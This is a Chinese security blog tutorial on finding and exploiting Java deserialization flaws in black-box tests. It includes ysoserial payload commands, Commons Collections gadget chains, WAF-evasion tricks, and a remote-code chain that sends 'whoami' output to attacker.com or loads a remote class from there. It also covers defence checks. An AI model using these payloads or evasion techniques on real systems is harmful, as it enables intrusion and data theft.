Java漏洞实战技巧:黑盒环境下的反序列化攻防实例

网络安全 潘老师 2周前 (04-08) 30 ℃ (0) 扫码查看

Java应用反序列化漏洞一直是黑客攻击的重点目标。在黑盒测试场景中,挖掘这类漏洞并掌握有效的利用技巧,对保障系统安全至关重要。接下来,咱们就深入探讨一下Java反序列化漏洞在黑盒实战中的各类技巧,包括从发现入口点到利用漏洞,再到防御方案验证的全过程。

一、入口点发现技巧

在黑盒测试时,要想发现Java反序列化漏洞的入口点,需要从协议特征和常见渗透路径这两个方向入手。

(一)协议特征识别

  1. Java原生序列化:Java原生序列化数据有特定的格式,其请求头Content-Type通常为application/x-java-serialized-object,并且数据开头会有魔数头AC ED 00 05 ,像这样:
POST /api/data HTTP/1.1
Content-Type: application/x-java-serialized-object

[HEX] AC ED 00 05 73 72 00 ...  # 魔数头AC ED 00 05

一旦在请求中发现这些特征,就很可能存在Java反序列化的入口。
2. XML序列化:XML序列化也有自己的格式规范。如下方代码示例,<java serialization="1.0">标签表明这是一个Java序列化的XML数据,通过检查类似的结构和其中的类信息,可以判断是否存在反序列化风险。

<java serialization="1.0">
  <object class="java.util.HashMap">
    <field name="user" class="com.example.User">
      <string>test</string>
    </field>
  </object>
</java>
  1. JSON特殊格式:部分情况下,JSON数据也会涉及反序列化。当看到@type字段指定类名,且存在类似$ref这样的特殊引用时,就需要警惕反序列化漏洞。例如:
{
  "@type": "com.example.User",
  "name": {"$ref":"$.恶意属性"}
}

(二)常见渗透路径

在寻找反序列化漏洞时,常见的渗透路径包括HTTP请求中的参数污染、Cookie篡改、文件上传等。此外,JMX端口(默认1099)和RMI服务也可能成为突破口。比如,对1099端口进行探测,查看是否存在JMX服务;利用RMI服务的远程对象绑定功能,尝试发现潜在的反序列化漏洞。可以用下面这个关系图来直观展示:

二、漏洞检测手法

找到可能的入口点后,就需要检测是否真的存在反序列化漏洞。下面介绍几种常用的检测方法。

(一)盲打检测法

盲打检测法借助DNSLOG来实现。通过ysoserial.jar工具生成包含DNSLOG地址的Payload,像这样:

java -jar ysoserial.jar URLDNS "http://xxxxxx.dnslog.cn" > payload.bin

然后,使用curl命令将生成的Payload发送到目标网站:

curl -X POST --data-binary @payload.bin http://target.com/api

如果在DNSLOG平台上看到有解析记录,那就说明目标可能存在反序列化漏洞。

(二)延时检测法

延时检测法的原理是利用构造特定的Payload,让目标服务器执行sleep操作,从而延长响应时间。以CommonsCollections5为例,构造如下Payload:

Transformer[] chain = {
    new ConstantTransformer(Thread.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"sleep", new Class[]{Long.TYPE}}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[]{5000}})
};

正常情况下,请求的响应时间可能只有200ms。但如果成功触发了反序列化漏洞,服务器执行sleep操作,响应时间就会超过5000ms。通过对比响应时间,就能判断是否存在漏洞。

(三)错误信息分析

当服务器返回错误信息时,要仔细分析。如果错误信息中出现InvokerTransformerAnnotationInvocationHandler等敏感类名,或者InvalidClassException中包含CC组件信息,那么很可能存在反序列化漏洞。比如下面这个错误信息:

HTTP/1.1 500 Internal Server Error
Content-Type: text/plain

java.io.InvalidClassException: 
org.apache.commons.collections.functors.InvokerTransformer; 
local class incompatible: stream classdesc serialVersionUID = -8653385846894807688...

这种情况下,就需要进一步深入检测和利用。

三、协议级渗透技巧

如果确定存在漏洞,接下来就可以尝试进行协议级别的渗透攻击。

(一)RMI服务探测

使用nmap工具扫描RMI注册端口(默认1099),并利用rmi-vuln-classloader脚本检测是否存在漏洞:

nmap -p 1099 --script rmi-vuln-classloader 192.168.1.100

要是发现存在漏洞,还可以尝试强制绑定恶意对象,代码示例如下:

String server = "rmi://192.168.1.100:1099/Exploit";
Naming.bind(server, new MaliciousObject());

(二)JMX攻击

针对JMX服务,可以构造JMX连接的Payload进行攻击。如下代码,通过创建JMXServiceURL并连接,尝试利用JMX漏洞:

JMXServiceURL url = new JMXServiceURL(
    "service:jmx:rmi:///jndi/rmi://attacker.com:1099/exploit"
);
JMXConnector connector = JMXConnectorFactory.connect(url);

(三)HTTP参数注入

在HTTP请求中,通过参数注入的方式传递序列化对象。比如在文件上传或者其他支持参数提交的场景中,将序列化数据放在参数中:

POST /exportData HTTP/1.1
Content-Type: multipart/form-data

--boundary
Content-Disposition: form-data; name="config"

rO0ABXNyADRjb20uZXhhbXBsZS5TZXJpYWxpemFibGVDb25maWg... # 序列化对象

四、高级绕过检测

为了突破目标系统的防御机制,攻击者还会使用一些高级绕过检测的技巧。

(一)协议伪装技巧

把序列化数据嵌入到JSON格式中,利用Base64编码进行伪装。示例代码如下:

import base64
import requests

payload = open('payload.bin', 'rb').read()
wrapped = {
    "data": {
        "type": "base64",
        "value": base64.b64encode(payload).decode()
    }
}

requests.post(url, json=wrapped)

这样,原始的序列化特征被隐藏,可能绕过一些简单的安全检测。

(二)字符集混淆

利用多种编码方式来混淆WAF(Web应用防火墙)的检测。示例代码如下:

String[] encodings = {"UTF-16BE", "UTF-32", "x-COMPOUND_TEXT"};
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(payload);

for (String enc : encodings) {
    String encoded = new String(bos.toByteArray(), enc);
    sendTestRequest(encoded);
}

通过这种方式,即使WAF对特定字符有检测规则,也可能因为编码的变化而绕过。

(三)分块传输绕过

利用HTTP的分块传输特性,将Payload分成多个块进行传输。例如:

POST /api/upload HTTP/1.1
Transfer-Encoding: chunked

7
\xac\xed\x00\x05
0

...后续chunk携带剩余payload...

这种方式可以让Payload在传输过程中避开一些基于整体数据特征的检测。

五、工具链配置

在实际测试中,合理配置工具可以提高检测和利用的效率。

(一)Burp Suite插件配置

在Burp Suite中,可以编写自定义插件来自动检测Java反序列化漏洞。下面是一个简单的示例代码:

from burp import IBurpExtender
from burp import IScannerCheck

class BurpExtender(IBurpExtender, IScannerCheck):
    def doPassiveScan(self, baseRequestResponse):
        data = baseRequestResponse.getRequest()
        if b'\xac\xed\x00\x05' in data:
            return [CustomScanIssue(
                baseRequestResponse.getHttpService(),
                "Java Serialization Detected",
                "Possible insecure deserialization")]

这个插件会在被动扫描时,检查请求数据中是否存在Java序列化的魔数头,如果有,就提示可能存在不安全的反序列化漏洞。

(二)自动化检测脚本

编写自动化检测脚本可以批量生成和发送Payload,提高检测效率。比如下面这个Bash脚本:

#!/bin/bash
# 自动化黑盒测试脚本
TARGET=$1

# 生成所有CC变种payload
for gadget in {1..10}; do
    ysoserial.jar CommonsCollections$gadget "nslookup $gadget.xxx.dnslog.cn" > payload$gadget.bin
    curl -X POST --data-binary @payload$gadget.bin $TARGET
done

该脚本会利用ysoserial.jar工具生成多个基于CommonsCollections的Payload,并发送到目标网站进行检测。

六、漏洞确认与利用

当检测到可能存在漏洞后,还需要进一步确认并利用漏洞。

(一)回显验证

构造能够执行命令并回显结果的Payload,以此来确认漏洞的存在和可利用性。示例代码如下:

String cmd = "curl http://attacker.com/$(whoami|base64)";
Transformer[] chain = {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", ...),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};

通过检查是否能在攻击者的服务器上收到回显信息,判断漏洞是否真的可利用。

(二)内存马注入验证

通过在请求头中注入特定的表达式,检测是否存在内存马注入的可能。例如:

GET /favicon.ico HTTP/1.1
Host: target.com
X-Token: ${@Runtime@getRuntime().exec("calc")}  # 检测表达式解析

如果服务器执行了这个表达式(比如弹出计算器),就说明存在内存马注入的风险。

七、防御方案验证

对于系统管理员和安全工程师来说,了解如何验证防御方案是否有效同样重要。

(一)安全配置检查

检查服务器是否配置了反序列化过滤,可以通过发送已知的序列化数据进行测试。比如:

curl -v -X POST --data 'rO0ABXNy...' -H "Content-Type: application/x-java-serialized-object" http://target.com/api

如果服务器返回403 Forbidden,并提示不支持的媒体类型,说明服务器可能配置了有效的反序列化过滤。

(二)WAF规则测试

测试WAF是否能拦截常见的反序列化攻击特征。可以编写脚本,发送包含反序列化特征的Payload进行测试:

import requests

payloads = [
    b'InvokerTransformer',
    b'AnnotationInvocationHandler',
    b'\xac\xed\x00\x05'
]

for p in payloads:
    r = requests.post(url, data=p)
    if r.status_code != 403:
        print(f"Bypass found: {p[:20]}...")

如果WAF没有拦截这些Payload,就说明WAF规则可能存在缺陷,需要进一步优化。

八、深度技巧与案例分析

除了上述基础技巧,还有一些深度技巧和实际案例值得深入研究。

(一)深度检测技巧

  1. DNS/ICMP双通道验证:结合DNS查询和ICMP回显来检测漏洞,提高检测的隐蔽性。利用ysoserial生成DNS探测Payload,同时使用scapy监听ICMP回包:
import os
import requests
from scapy.all import *

dns_log = "yourdomain.dnslog.cn"
payload = os.popen(f'java -jar ysoserial.jar URLDNS {dns_log}').read()
requests.post(target_url, data=payload)

def icmp_callback(pkt):
    if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:  # ICMP请求包
        print(f"ICMP Echo Request from {pkt[IP].src}")

sniff(filter="icmp", prn=icmp_callback, timeout=30)

如果目标网络限制DNS外连,还可以改用CommonsCollections5构造ping命令触发ICMP回包。
2. 非常规协议伪装:将序列化数据嵌入JSON参数或者隐藏在文件上传字段中,绕过基础的WAF检测。比如HTTP参数嵌套Base64的方式:

import base64
import requests

with open("payload.bin", "rb") as f:
    serialized_data = f.read()

wrapped_payload = {
    "data": {
        "type": "binary",
        "content": base64.b64encode(serialized_data).decode()
    }
}

requests.post("http://target/api/upload", json=wrapped_payload)

还有Multipart表单注入的方式:

import requests

files = {
    'file': ('payload.bin', open('payload.bin', 'rb'), 
            'application/x-java-serialized-object')
}

requests.post("http://target/upload", files=files)
  1. 中间件特性利用:针对JBoss 5.x/6.x的ReadOnlyAccessFilter组件,可以构造特定的Payload进行攻击:
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(javax.management.MBeanServerConnection.class),
    new InvokerTransformer("getAttribute", 
        new Class[]{ObjectName.class, String.class}, 
        new Object[]{new ObjectName("jboss.system:type=Server"), "StartTime"}),
    new InvokerTransformer("toString", null, null)
};

发送这个Payload至/invoker/readonly端点,就有可能利用MBean操作执行命令。
4. 时序攻击与条件竞争:通过延迟注入检测,根据响应时间差异判断漏洞。示例代码如下:

import time

payloads = [
    generate_sleep_payload(5),  # 生成触发Thread.sleep(5000)的payload
    generate_dummy_payload()
]

for p in payloads:
    start = time.time()
    requests.post(target_url, data=p)
    elapsed = time.time() - start
    if elapsed > 4.5:
        print(f"Potential vulnerability detected with payload {p}")

如果服务器执行sleep操作,响应时间就会明显变长,从而判断可能存在漏洞。
5. 非标准端口探测:使用nmap检测JMX服务的1099端口,并且尝试强制绑定恶意对象:

nmap -p 1099 --script rmi-dumpregistry <target_ip>
String jmxUrl = "service:jmx:rmi:///jndi/rmi://attacker_ip:1099/Exploit";
JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(jmxUrl));

如果JMX服务未配置安全策略,攻击者就有可能直连执行命令。
6. 防御绕过技巧:利用动态类加载混淆来绕过检测。比如下面这个利用URLClassLoader加载远程类的示例:

Transformer[] chain = {
    new ConstantTransformer(URLClassLoader.class),
    new InvokerTransformer("newInstance", 
        new Class[]{URL[].class}, 
        new Object[]{new URL[]{new URL("http://attacker.com/")}}),
    new InvokerTransformer("loadClass", 
        new Class[]{String.class}, 
        new Object[]{"Exploit"}),
    new InvokerTransformer("newInstance", null, null)
};

这种方式可以避免直接引用危险类,绕过一些静态黑名单检测。

(二)案例分析

  1. Apache Commons Collections反序列化漏洞:Apache Commons Collections库的3.x和4.x版本中,InvokerTransformer类存在安全隐患,攻击者可以利用它构造反射调用链执行任意方法。利用条件是目标应用使用特定版本的ACC库,并且存在未过滤的反序列化入口。攻击步骤包括构造利用链、生成Payload并发送,最终触发目标服务器执行系统命令。
  2. Apache Tomcat会话持久化漏洞(CVE-2025-24813):Tomcat的会话持久化机制在特定配置下存在风险。如果Tomcat启用基于文件的会话存储,并且支持部分PUT请求,攻击者就可以通过上传恶意序列化文件,再发送携带恶意Session ID的GET请求,触发反序列化操作,进而获取敏感信息或执行恶意代码。这一案例再次提醒我们,在实际开发和运维中,要密切关注中间件的版本和配置,及时修复已知漏洞,加强安全防护措施。

在黑盒环境下挖掘和利用Java反序列化漏洞,需要熟练掌握各类技巧和工具,同时也要深入了解防御机制,以便在攻防对抗中占据优势。


版权声明:本站文章,如无说明,均为本站原创,转载请注明文章来源。如有侵权,请联系博主删除。
本文链接:https://www.panziye.com/safe/16946.html
喜欢 (0)
请潘老师喝杯Coffee吧!】
分享 (0)
用户头像
发表我的评论
取消评论
表情 贴图 签到 代码

Hi,您需要填写昵称和邮箱!

  • 昵称【必填】
  • 邮箱【必填】
  • 网址【可选】